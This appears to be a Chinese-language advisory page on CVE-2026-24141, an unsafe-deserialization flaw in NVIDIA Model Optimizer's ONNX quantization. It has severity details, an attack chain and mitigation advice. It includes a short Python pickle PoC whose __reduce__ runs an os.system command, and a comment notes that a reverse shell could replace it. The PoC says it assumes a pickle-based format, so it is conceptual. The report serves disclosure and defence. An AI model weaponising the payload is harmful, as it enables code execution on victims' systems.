IPBUF安全漏洞报告
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CVE-2026-24141 CVSS 7.8 高危

CVE-2026-24141 NVIDIA Model Optimizer不安全反序列化漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-24141
漏洞类型
不安全反序列化
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NVIDIA Model Optimizer

相关标签

不安全反序列化代码执行NVIDIAModel OptimizerONNX本地漏洞

漏洞概述

NVIDIA Model Optimizer(Windows及Linux版本)在ONNX量化功能中存在不安全反序列化漏洞,CVSS评分7.8。攻击者可诱导用户打开特制输入文件触发漏洞。成功利用可导致代码执行、权限提升、数据篡改及信息泄露,对系统安全构成高危威胁。

技术细节

该漏洞的根本原因在于NVIDIA Model Optimizer在处理ONNX格式的模型文件进行量化操作时,未对反序列化的数据进行充分的验证和过滤。反序列化过程允许应用程序将字节流恢复为对象,但如果数据源不可信,攻击者可以构造恶意的字节流。当用户加载特制的ONNX文件时,应用程序会尝试将其反序列化,攻击者利用此机制可以注入恶意的对象或执行任意代码。由于攻击向量为本地(AV:L),通常需要用户交互(UI:R),例如诱导受害者下载并打开恶意文件。一旦漏洞被触发,由于应用程序的权限上下文,攻击者可能获得与当前用户相同甚至更高的权限,从而实现进一步的控制和数据窃取。此漏洞属于典型的对象注入类反序列化漏洞,危害性较高。

攻击链分析

STEP 1
制作恶意文件
攻击者利用漏洞机制,构造包含恶意序列化数据的特制ONNX输入文件。
STEP 2
传递文件
通过网络传输或物理介质将恶意文件发送给目标用户,诱导用户在易受攻击的系统上使用该文件。
STEP 3
触发漏洞
用户使用NVIDIA Model Optimizer处理该恶意文件,软件在解析和反序列化数据时未进行安全校验。
STEP 4
执行代码
反序列化过程触发恶意代码执行,攻击者获得系统控制权,可能导致数据泄露或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os # Conceptual Proof of Concept (PoC) for CVE-2026-24141 # This script demonstrates the creation of a payload that triggers # unsafe deserialization, assuming the underlying mechanism is pickle-based # or similar vulnerable serialization format used by the ONNX quantization feature. class ExploitClass: def __reduce__(self): # The command to execute (e.g., opening calculator as a benign proof) # In an attack scenario, this would be a reverse shell or data exfiltration script. return (os.system, ('echo "Vulnerable to Unsafe Deserialization"',)) # Serialize the malicious object malicious_data = pickle.dumps(ExploitClass()) # Simulate saving this data into a crafted ONNX file structure # The attacker would need to wrap this data appropriately to pass initial parsing # and reach the vulnerable deserialization routine. filename = "crafted_exploit_input.onnx" with open(filename, "wb") as f: f.write(malicious_data) print(f"[+] Generated PoC file: {filename}") print("[+] If processed by the vulnerable NVIDIA Model Optimizer, code execution may occur.")

影响范围

NVIDIA Model Optimizer for Windows
NVIDIA Model Optimizer for Linux

防御指南

临时缓解措施
在官方补丁发布前,建议用户不要处理来源不可信的ONNX模型文件,并在隔离环境中运行Model Optimizer,同时限制软件的读写权限。

参考链接

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